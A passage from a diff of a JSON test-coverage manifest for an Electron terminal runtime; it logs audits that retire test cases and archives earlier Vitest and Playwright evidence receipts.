OpenCode/Cursor/Claude/Codex/Antigravity classification, readiness, title and management examples; direct private-map browser authority projections; browser-focus and OMP title projection; already-aborted claim cleanup. Additional3824 loss: src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status-part-02.spec.ts :: does not poll a wrapper foreground for a speculative CLI prompt send :: Speculative retryForegroundWrappers:false check must return false on a wrapper after one foreground read, without polling the supplied later codex response. These real bounded alarms are deliberately retired for low marginal value. Retained callbacks are unchanged and provide only their own bounded scope, not equivalent replacement. Historical receipts do not validate reduced callbacks. No fresh runtime/native/SSH/WSL/phone/browser evidence or full transitive closure is claimed. Runtime component B: Audit3834 deliberately retires26 authored/26 finite cases from seven fresh compatibility fragments, leaving10/10 and deleting the one-case saved-binding reattachment fragment. Original position58 is excluded: its existing substantive3578 KEEP7 review remains historical, with no fresh credit. Accepted losses: fixed hook/provider-session identities and stale metadata refusal; decorative/pre-title foreground ordering variants; saved-binding surface reattachment; saved-row exit ghost removal and silent activation selection; unsupported headless wake; positive pending materialization/group projections; per-caller navigation selection; positive SSH hydration/read partition; laptop mobile publication/buffer and background/pending/status projections; abnormal/unregistered SSH grace, normal-exit refusal, persisted SSH hydration, positive serve reattachment, pending-agent launch arguments and direct seeded running-launch admission guard. These are real bounded alarms deliberately retired for low marginal value. Retained cases preserve their own distinct deferred foreground coalescing, usable handle continuity, stale inventory refresh, concurrent browser snapshot preservation, renderer graph fencing, caller dedup isolation, SSH partition writes, runtime split lifetime, independent relay-ready publication, lease admission/state/expiry. The direct running-launch no-spawn guard alarm is deliberately retired; no remaining owning-launch refusal coverage is claimed. Historical runs do not validate reduced callbacks. No equivalent replacement, runtime/native/SSH/WSL/phone/browser result or full transitive closure is claimed. Additional extractor loss: config/scripts/localization/source-extraction/audit-localization-native-dialogs.test.mjs :: does not change the existing renderer scan by default :: Default options must omit the five native-only fields in this supplied snippet. No equivalent replacement is claimed. Historical prior account (preserved verbatim): Audit3814 deliberately retires60 authored/60 finite cases:53runtime compatibility cases,4native XCTest methods and3Python clipboard methods, including the entire StableElementIndexes suite. Clipboard cuts retire the one-over-cap sample, incoming-offer destruction trace and sequential20-copy replay; actual wire, FD/pipe, startup and Xvfb/GTK boundaries remain without equivalent replacement claims. Accepted losses include narrow terminal-send payload/provider projections, legacy and direct no-op/error permutations, timing/work-count examples, private state/title/activity projections and fixture-driven readiness examples, individually enumerated below. These include real bounded production alarms consciously retired for marginal value; retained failed writes, duplicate submission, stale capture, transcript/ring and allocation fences are not equivalent replacements. No fresh native/remote/browser execution or complete transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3806 deliberately retires40 authored/40 finite runtime compatibility cases, including the terminal-side-effect-facts-part03 headless-snapshots-part02 and agent-status-and-waits-part03 fragments, plus20 scalar Swift precondition sites. Lost runtime alarms include status/title/attention projection examples, simple renderer/headless frame restoration and status waiting outcomes detailed in the accepted-loss ledger. Swift cuts retire duplicate generation-map/schema/navigation/bridge and notification-wrapper assertions; no standalone native program is deleted. These include real bounded production alarms consciously retired for marginal value. Retained races, pending writes/reflow, namespace and waiter ownership are not equivalent replacements. No fresh native/remote/browser execution or full transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3798 deliberately retires21 authored/24 finite compatibility cases, including the entire SSH-worktree-lifecycle and repository-project-operations fragments. Accepted losses include navigation-only settings acknowledgement, browser session cleanup and host preservation projections, window positive/policy-state examples, terminal recovery/reload and no-incarnation remint examples, terminal listing compatibility/malformed IDs, directory browse/sort/Windows path smoke, SSH create refusal/manual lineage, recursive parent-folder creation and fork/origin/avatar/icon projections. Real bounded production alarms are consciously retired for marginal value; retained authority races, cleanup/clone ownership, pending waiters, nested-folder and scan invalidation cases are not equivalent replacements. No fresh native/remote/browser execution or full transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3417 composes root-adopted3415v2/independent3416v2: intentionally removes117authored/173potential expanded registrations from12semantic sources, deleting4whole conventional suites and3registration modules and retaining4authored/5expanded cases, without equivalent replacement or fresh execution. The whole main-window attach-services suite is removed: runtime/window attach, notifier wiring, reload/teardown and permission-handler mock orchestration alarms are intentionally lost. Prune its exact deleted command selectors, testFiles entries and notifier assertionRef where present; complete prior selectors/ref are archived. Unrelated dated receipts remain exact and retain their original scope; no fresh reduced-selector, native-window or remote execution is claimed. Audit3403 composes root-adopted3393/3394,3400/3401 and3398/3399: intentionally retires167 authored registrations/196 potential expanded cases across93 whole suites without equivalent replacement or fresh execution. Retained65 registrations/79 potential cases include one conditional missing-input failure sentinel; potential counts are not executions. Historical notes and complete dated receipts retain their exact original scopes. The retained runtime registration driver loses three complete imported fragments: changed-working-label title facts and suppressed-frame tracked snapshots; refusing SSH GitLab MR-base lookup before local Git/glab calls; and missing folder-workspace path creation/update refusal before spawn/store mutation. These alarms are intentionally lost. Other imported fragments and separately rooted dated receipts are unchanged; they are not equivalent replacement coverage. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Existing exact unchanged-selector receipts remain the only current execution evidence. Changed source selectors have no fresh execution result. Historical prior-source oracle account: Existing exact unchanged-selector receipts remain the only current execution evidence. Changed source selectors have no fresh execution result. Historical prior-source oracle account: Start a blocked external main-frame navigation and require the current renderer graph and notification path to remain authoritative. Start a same-renderer navigation, cancel it before commit, and require the renderer canary and ready authority to survive; coalesce overlapping provisional starts into one fence, and keep an earlier committed reload fenced if a later navigation is cancelled. Drive two genuine reloads half a timeout apart and require the first deadline to leave the second revision reloading while the second deadline alone makes it unavailable. During the second revision publish from the prior renderer document through the still-current main frame and require rejection without graph mutation or timeout cancellation. Restore headless authority after failed promotion, publish from a competing window, and require rejection while the sentinel remains authoritative. Then force a real renderer crash and separately promote an isolated headless serve owner; require runtime graph readiness, stable runtime/main/daemon/PTY identities, recovered visible terminal output, and post-recovery input/output.", - "commands": [ - "pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/session-graph/runtime-graph-reload-lifecycle.test.ts src/main/runtime/construction/orca-runtime.test.ts", - "pnpm exec electron-vite build --mode e2e", - "SKIP_BUILD=1 pnpm exec playwright test tests/e2e/renderer-blocked-navigation-graph-authority.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1", - "SKIP_BUILD=1 pnpm exec playwright test e2e/renderer-crash-recovery-terminal-input.spec.ts tests/e2e/renderer-crash-recovery-terminal-input.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1", - "SKIP_BUILD=1 pnpm exec playwright test e2e/headless-serve-desktop-activation.spec.ts tests/e2e/headless-serve-desktop-activation.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1" - ], - "testFiles": [ - "src/main/runtime/session-graph/runtime-graph-reload-lifecycle.test.ts", - "src/main/runtime/construction/orca-runtime.test.ts", - "tests/e2e/renderer-blocked-navigation-graph-authority.spec.ts", - "tests/e2e/renderer-crash-recovery-terminal-input.spec.ts", - "tests/e2e/headless-serve-desktop-activation.spec.ts" - ], - "assertionRefs": [ - { - "file": "src/main/runtime/session-graph/runtime-graph-reload-lifecycle.test.ts", - "assertions": [ - "each revision settles exactly once", - "replacement cancels the old revision and fences its timeout", - "settlement and timeout release their timers" - ] - }, - { - "file": "tests/e2e/renderer-blocked-navigation-graph-authority.spec.ts", - "assertions": [ - "blocked external navigation starts and stops loading without replacing the renderer document", - "runtime graph epoch, readiness, and authoritative window remain unchanged", - "a later listener can cancel a renderer navigation while its canary and authoritative graph recover" - ] - }, - { - "file": "tests/e2e/renderer-crash-recovery-terminal-input.spec.ts", - "assertions": [ - "main observes renderer process loss and a completed recovery load", - "the same daemon-backed PTY remains reachable through transport and direct-write probes" - ] - }, - { - "file": "tests/e2e/headless-serve-desktop-activation.spec.ts", - "assertions": [ - "promotion preserves main owner, runtime, daemon, and PTY identity", - "terminal output survives promotion and post-promotion input/output remains live" - ] - } - ], - "evidenceRuns": [ - { - "date": "2026-08-14", - "runner": "local", - "platform": "macos", - "command": "SKIP_BUILD=1 pnpm exec playwright test tests/e2e/renderer-blocked-navigation-graph-authority.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1", - "result": "passed", - "durationSeconds": 8, - "summary": "Two isolated Electron flows passed: blocked external navigation left epoch and authority unchanged, and a same-renderer navigation cancelled by a later listener preserved its canary while returning the incremented graph generation to ready under the same authoritative window.", - "currentCommand": "SKIP_BUILD=1 pnpm exec playwright test tests/e2e/renderer-blocked-navigation-graph-authority.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1" - }, - { - "date": "2026-08-13", - "runner": "local", - "platform": "macos", - "command": "SKIP_BUILD=1 pnpm exec playwright test e2e/renderer-crash-recovery-terminal-input.spec.ts tests/e2e/renderer-crash-recovery-terminal-input.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1", - "result": "passed", - "durationSeconds": 18, - "summary": "Two forced renderer process deaths each produced a main-observed recovery load; the same daemon-backed PTY remained live through renderer transport and direct-write probes.", - "currentCommand": "SKIP_BUILD=1 pnpm exec playwright test e2e/renderer-crash-recovery-terminal-input.spec.ts tests/e2e/renderer-crash-recovery-terminal-input.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1" - }, - { - "date": "2026-08-13", - "runner": "local", - "platform": "macos", - "command": "SKIP_BUILD=1 pnpm exec playwright test e2e/headless-serve-desktop-activation.spec.ts tests/e2e/headless-serve-desktop-activation.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1", - "result": "passed", - "durationSeconds": 10, - "summary": "The isolated headless serve owner promoted to a real renderer while preserving main owner, runtime, daemon, and PTY identity. Pre-promotion output remained visible and post-promotion terminal input/output succeeded; a full-window proof image records both markers.", - "currentCommand": "SKIP_BUILD=1 pnpm exec playwright test e2e/headless-serve-desktop-activation.spec.ts tests/e2e/headless-serve-desktop-activation.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1" - } - ], + "oracle": "No current executed protection is claimed after E2E layout cleanup. Historical account: Runtime layout cleanup intentionally retires the removed compatibility callbacks and wholly removed fragments without replacement coverage. The compatibility entrypoint retains only its surviving registration scope. Existing independent dated receipts remain at their original commands and scopes; no fresh runtime, native, remote or platform execution is claimed. Prior account preserved verbatim: Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. Complete prior account retained verbatim: Audit5896 removes only the paired-settings.spec and dispatch-mailbox-delivery.spec import lines from their retained runtime/mailbox drivers. Those imported suites and alarms are intentionally retired, without equivalent replacement. Driver selectors remain; unchanged dated receipts retain original scope and do not establish a new whole-gate import-closure pass. Complete prior account retained verbatim: Audit5644 integrates source audit5640: retire the whole renderer sync-runtime-graph-payload-partition suite and its active command/testFiles selectors. Intentionally lose failed graph publication acknowledgement/memo retry of changed worktree payloads and unchanged worktree resync self-republication alarms. Remaining main/E2E selectors retain only their own scope; no equivalent replacement, fresh execution, platform or remote evidence is claimed. Complete original selectors are preserved in knownGaps. Historical prior account (preserved verbatim): Audit4362 intentionally deletes the imported stale-waiter retry and manually assembled OSC9999 mobile-republish cases, plus the mocked missing-worktree cleanup suite (4 authored / 5 finite cases in three suites). Lost alarms include repeated unread worker_done pointers, working-to-waiting mobile status publication, missing-worktree filtering, and scoped daemon shutdown with unrelated duplicate identities. No replacement coverage or new platform proof is claimed. Audit3832 deliberately retires76 authored/79 finite cases:75 runtime compatibility cases/78 finite cases across14 fragments, plus one localization extractor default-flag case. Three whole runtime fragments are deleted;27 authored/30 finite cases remain across the reviewed sources. This gate retains only its own selected scope; no equivalent replacement or fresh runtime/native/remote evidence is claimed. Runtime component A: Audit3828 composes3822 with independent3824: deliberately retires49 authored/52 finite cases from seven compatibility fragments, leaving15 authored/18 finite cases and deleting two entire fragments. Accepted losses: positive folder-worker recovery/materialization and reveal deadline; persisted-key normalization and legacy split/group/focus projection; fixed stale CAS refusal; occupied/alias/restored/preallocated terminal-handle variants; fixed OpenCode/Cursor/Claude/Codex/Antigravity classification, readiness, title and management examples; direct private-map browser authority projections; browser-focus and OMP title projection; already-aborted claim cleanup. Additional3824 loss: src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status-part-02.spec.ts :: does not poll a wrapper foreground for a speculative CLI prompt send :: Speculative retryForegroundWrappers:false check must return false on a wrapper after one foreground read, without polling the supplied later codex response. These real bounded alarms are deliberately retired for low marginal value. Retained callbacks are unchanged and provide only their own bounded scope, not equivalent replacement. Historical receipts do not validate reduced callbacks. No fresh runtime/native/SSH/WSL/phone/browser evidence or full transitive closure is claimed. Runtime component B: Audit3834 deliberately retires26 authored/26 finite cases from seven fresh compatibility fragments, leaving10/10 and deleting the one-case saved-binding reattachment fragment. Original position58 is excluded: its existing substantive3578 KEEP7 review remains historical, with no fresh credit. Accepted losses: fixed hook/provider-session identities and stale metadata refusal; decorative/pre-title foreground ordering variants; saved-binding surface reattachment; saved-row exit ghost removal and silent activation selection; unsupported headless wake; positive pending materialization/group projections; per-caller navigation selection; positive SSH hydration/read partition; laptop mobile publication/buffer and background/pending/status projections; abnormal/unregistered SSH grace, normal-exit refusal, persisted SSH hydration, positive serve reattachment, pending-agent launch arguments and direct seeded running-launch admission guard. These are real bounded alarms deliberately retired for low marginal value. Retained cases preserve their own distinct deferred foreground coalescing, usable handle continuity, stale inventory refresh, concurrent browser snapshot preservation, renderer graph fencing, caller dedup isolation, SSH partition writes, runtime split lifetime, independent relay-ready publication, lease admission/state/expiry. The direct running-launch no-spawn guard alarm is deliberately retired; no remaining owning-launch refusal coverage is claimed. Historical runs do not validate reduced callbacks. No equivalent replacement, runtime/native/SSH/WSL/phone/browser result or full transitive closure is claimed. Additional extractor loss: config/scripts/localization/source-extraction/audit-localization-native-dialogs.test.mjs :: does not change the existing renderer scan by default :: Default options must omit the five native-only fields in this supplied snippet. No equivalent replacement is claimed. Historical prior account (preserved verbatim): Audit3814 deliberately retires60 authored/60 finite cases:53runtime compatibility cases,4native XCTest methods and3Python clipboard methods, including the entire StableElementIndexes suite. Clipboard cuts retire the one-over-cap sample, incoming-offer destruction trace and sequential20-copy replay; actual wire, FD/pipe, startup and Xvfb/GTK boundaries remain without equivalent replacement claims. Accepted losses include narrow terminal-send payload/provider projections, legacy and direct no-op/error permutations, timing/work-count examples, private state/title/activity projections and fixture-driven readiness examples, individually enumerated below. These include real bounded production alarms consciously retired for marginal value; retained failed writes, duplicate submission, stale capture, transcript/ring and allocation fences are not equivalent replacements. No fresh native/remote/browser execution or complete transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3806 deliberately retires40 authored/40 finite runtime compatibility cases, including the terminal-side-effect-facts-part03 headless-snapshots-part02 and agent-status-and-waits-part03 fragments, plus20 scalar Swift precondition sites. Lost runtime alarms include status/title/attention projection examples, simple renderer/headless frame restoration and status waiting outcomes detailed in the accepted-loss ledger. Swift cuts retire duplicate generation-map/schema/navigation/bridge and notification-wrapper assertions; no standalone native program is deleted. These include real bounded production alarms consciously retired for marginal value. Retained races, pending writes/reflow, namespace and waiter ownership are not equivalent replacements. No fresh native/remote/browser execution or full transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3798 deliberately retires21 authored/24 finite compatibility cases, including the entire SSH-worktree-lifecycle and repository-project-operations fragments. Accepted losses include navigation-only settings acknowledgement, browser session cleanup and host preservation projections, window positive/policy-state examples, terminal recovery/reload and no-incarnation remint examples, terminal listing compatibility/malformed IDs, directory browse/sort/Windows path smoke, SSH create refusal/manual lineage, recursive parent-folder creation and fork/origin/avatar/icon projections. Real bounded production alarms are consciously retired for marginal value; retained authority races, cleanup/clone ownership, pending waiters, nested-folder and scan invalidation cases are not equivalent replacements. No fresh native/remote/browser execution or full transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3417 composes root-adopted3415v2/independent3416v2: intentionally removes117authored/173potential expanded registrations from12semantic sources, deleting4whole conventional suites and3registration modules and retaining4authored/5expanded cases, without equivalent replacement or fresh execution. The whole main-window attach-services suite is removed: runtime/window attach, notifier wiring, reload/teardown and permission-handler mock orchestration alarms are intentionally lost. Prune its exact deleted command selectors, testFiles entries and notifier assertionRef where present; complete prior selectors/ref are archived. Unrelated dated receipts remain exact and retain their original scope; no fresh reduced-selector, native-window or remote execution is claimed. Audit3403 composes root-adopted3393/3394,3400/3401 and3398/3399: intentionally retires167 authored registrations/196 potential expanded cases across93 whole suites without equivalent replacement or fresh execution. Retained65 registrations/79 potential cases include one conditional missing-input failure sentinel; potential counts are not executions. Historical notes and complete dated receipts retain their exact original scopes. The retained runtime registration driver loses three complete imported fragments: changed-working-label title facts and suppressed-frame tracked snapshots; refusing SSH GitLab MR-base lookup before local Git/glab calls; and missing folder-workspace path creation/update refusal before spawn/store mutation. These alarms are intentionally lost. Other imported fragments and separately rooted dated receipts are unchanged; they are not equivalent replacement coverage. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Existing exact unchanged-selector receipts remain the only current execution evidence. Changed source selectors have no fresh execution result. Historical prior-source oracle account: Existing exact unchanged-selector receipts remain the only current execution evidence. Changed source selectors have no fresh execution result. Historical prior-source oracle account: Start a blocked external main-frame navigation and require the current renderer graph and notification path to remain authoritative. Start a same-renderer navigation, cancel it before commit, and require the renderer canary and ready authority to survive; coalesce overlapping provisional starts into one fence, and keep an earlier committed reload fenced if a later navigation is cancelled. Drive two genuine reloads half a timeout apart and require the first deadline to leave the second revision reloading while the second deadline alone makes it unavailable. During the second revision publish from the prior renderer document through the still-current main frame and require rejection without graph mutation or timeout cancellation. Restore headless authority after failed promotion, publish from a competing window, and require rejection while the sentinel remains authoritative. Then force a real renderer crash and separately promote an isolated headless serve owner; require runtime graph readiness, stable runtime/main/daemon/PTY identities, recovered visible terminal output, and post-recovery input/output.", + "commands": [], + "testFiles": [], + "assertionRefs": [], + "evidenceRuns": [], "runtimeBudget": { "p95Seconds": 420, - "scope": "focused deterministic contracts plus isolated forced-crash and headless-promotion Electron journeys" + "scope": "Historical prior-selector budget; changed E2E selectors have no new runtime measurement. focused deterministic contracts plus isolated forced-crash and headless-promotion Electron journeys" }, "flakeHistory": { - "status": "unknown", - "evidence": "Fresh deterministic and two isolated Electron journeys are green; CI soak history is pending." + "status": "not-started", + "evidence": "No fresh soak for changed E2E selectors. Historical account: Fresh deterministic and two isolated Electron journeys are green; CI soak history is pending." }, "redGreenEvidence": { "status": "missing", - "evidence": "Audit2133 current-parent preparation: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): A byte-identical three-case oracle was rerun on 2026-08-13. Latest main ee8dd4796e failed all three: reload remained reloading after 22.5 seconds, the prior renderer document settled the replacement, and a competing window stole failed-promotion authority. Submitted PR head feeca6c22f passed the bounded replacement timeout but failed both authority cases. The locally rewritten candidate passed all three. Disabling the local document-generation and pending-window fences reproduces the submitted-head failures; disabling the cancelled-navigation classifier leaves the graph reloading and increments its epoch in the new live oracle." + "evidence": "No fresh red/green execution for changed E2E selectors. Historical account: Audit2133 current-parent preparation: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): A byte-identical three-case oracle was rerun on 2026-08-13. Latest main ee8dd4796e failed all three: reload remained reloading after 22.5 seconds, the prior renderer document settled the replacement, and a competing window stole failed-promotion authority. Submitted PR head feeca6c22f passed the bounded replacement timeout but failed both authority cases. The locally rewritten candidate passed all three. Disabling the local document-generation and pending-window fences reproduces the submitted-head failures; disabling the cancelled-navigation classifier leaves the graph reloading and increments its epoch in the new live oracle." }, "performanceBudget": { "required": true, - "evidence": "Fresh delegated audit passed with no blocking, major, or actionable minor findings. The candidate retains at most one unref'd timer, reuses the existing renderer document UUID, adds about 67 serialized bytes to each already-coalesced local graph IPC, and performs constant-time generation/window checks. It adds no polling, subprocess, network request, remote frame, provider scan, or steady-state fanout; a dedicated benchmark would measure existing graph/structured-clone noise rather than meaningful incremental work." + "evidence": "Historical prior-selector account; changed E2E selectors have no new performance measurement. Fresh delegated audit passed with no blocking, major, or actionable minor findings. The candidate retains at most one unref'd timer, reuses the existing renderer document UUID, adds about 67 serialized bytes to each already-coalesced local graph IPC, and performs constant-time generation/window checks. It adds no polling, subprocess, network request, remote frame, provider scan, or steady-state fanout; a dedicated benchmark would measure existing graph/structured-clone noise rather than meaningful incremental work." }, "promotionCriteria": [ "Collect CI and soak history without unexplained flakes.", @@ -3643,7 +3447,13 @@ "Audit5736 exact original active selector fields before whole IPC suite removal (historical, not current coverage): {\"commands\":[\"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/session-graph/runtime-graph-reload-lifecycle.test.ts src/main/ipc/runtime.test.ts src/main/runtime/construction/orca-runtime.test.ts\",\"pnpm exec electron-vite build --mode e2e\",\"SKIP_BUILD=1 pnpm exec playwright test tests/e2e/renderer-blocked-navigation-graph-authority.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\"SKIP_BUILD=1 pnpm exec playwright test e2e/renderer-crash-recovery-terminal-input.spec.ts tests/e2e/renderer-crash-recovery-terminal-input.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\"SKIP_BUILD=1 pnpm exec playwright test e2e/headless-serve-desktop-activation.spec.ts tests/e2e/headless-serve-desktop-activation.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\"],\"testFiles\":[\"src/main/runtime/session-graph/runtime-graph-reload-lifecycle.test.ts\",\"src/main/ipc/runtime.test.ts\",\"src/main/runtime/construction/orca-runtime.test.ts\",\"tests/e2e/renderer-blocked-navigation-graph-authority.spec.ts\",\"tests/e2e/renderer-crash-recovery-terminal-input.spec.ts\",\"tests/e2e/headless-serve-desktop-activation.spec.ts\"],\"assertionRefs\":[{\"file\":\"src/main/runtime/session-graph/runtime-graph-reload-lifecycle.test.ts\",\"assertions\":[\"each revision settles exactly once\",\"replacement cancels the old revision and fences its timeout\",\"settlement and timeout release their timers\"]},{\"file\":\"tests/e2e/renderer-blocked-navigation-graph-authority.spec.ts\",\"assertions\":[\"blocked external navigation starts and stops loading without replacing the renderer document\",\"runtime graph epoch, readiness, and authoritative window remain unchanged\",\"a later listener can cancel a renderer navigation while its canary and authoritative graph recover\"]},{\"file\":\"tests/e2e/renderer-crash-recovery-terminal-input.spec.ts\",\"assertions\":[\"main observes renderer process loss and a completed recovery load\",\"the same daemon-backed PTY remains reachable through transport and direct-write probes\"]},{\"file\":\"tests/e2e/headless-serve-desktop-activation.spec.ts\",\"assertions\":[\"promotion preserves main owner, runtime, daemon, and PTY identity\",\"terminal output survives promotion and post-promotion input/output remains live\"]}]}", "Audit5896 removes only the paired-settings.spec and dispatch-mailbox-delivery.spec import lines from their retained runtime/mailbox drivers. Those imported suites and alarms are intentionally retired, without equivalent replacement. Driver selectors remain; unchanged dated receipts retain original scope and do not establish a new whole-gate import-closure pass. ", "Audit5901 removes only the mobile-creation-and-orchestration-part-03.spec import from the retained runtime driver. The fragment's missing-handle wait abort and waiter retirement on reload-exit alarms are intentionally lost. This is a conservative import-closure notice: named command filters may exclude those cases. Driver selectors remain; unchanged historical receipts retain their original scope and establish no fresh whole-gate pass or equivalent replacement. ", - "Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. " + "Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. ", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-08-14\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"command\": \"SKIP_BUILD=1 pnpm exec playwright test tests/e2e/renderer-blocked-navigation-graph-authority.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\n \"result\": \"passed\",\n \"durationSeconds\": 8,\n \"summary\": \"Two isolated Electron flows passed: blocked external navigation left epoch and authority unchanged, and a same-renderer navigation cancelled by a later listener preserved its canary while returning the incremented graph generation to ready under the same authoritative window.\",\n \"currentCommand\": \"SKIP_BUILD=1 pnpm exec playwright test tests/e2e/renderer-blocked-navigation-graph-authority.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\"\n }", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-08-13\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"command\": \"SKIP_BUILD=1 pnpm exec playwright test e2e/renderer-crash-recovery-terminal-input.spec.ts tests/e2e/renderer-crash-recovery-terminal-input.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\n \"result\": \"passed\",\n \"durationSeconds\": 18,\n \"summary\": \"Two forced renderer process deaths each produced a main-observed recovery load; the same daemon-backed PTY remained live through renderer transport and direct-write probes.\",\n \"currentCommand\": \"SKIP_BUILD=1 pnpm exec playwright test e2e/renderer-crash-recovery-terminal-input.spec.ts tests/e2e/renderer-crash-recovery-terminal-input.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\"\n }", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-08-13\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"command\": \"SKIP_BUILD=1 pnpm exec playwright test e2e/headless-serve-desktop-activation.spec.ts tests/e2e/headless-serve-desktop-activation.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\n \"result\": \"passed\",\n 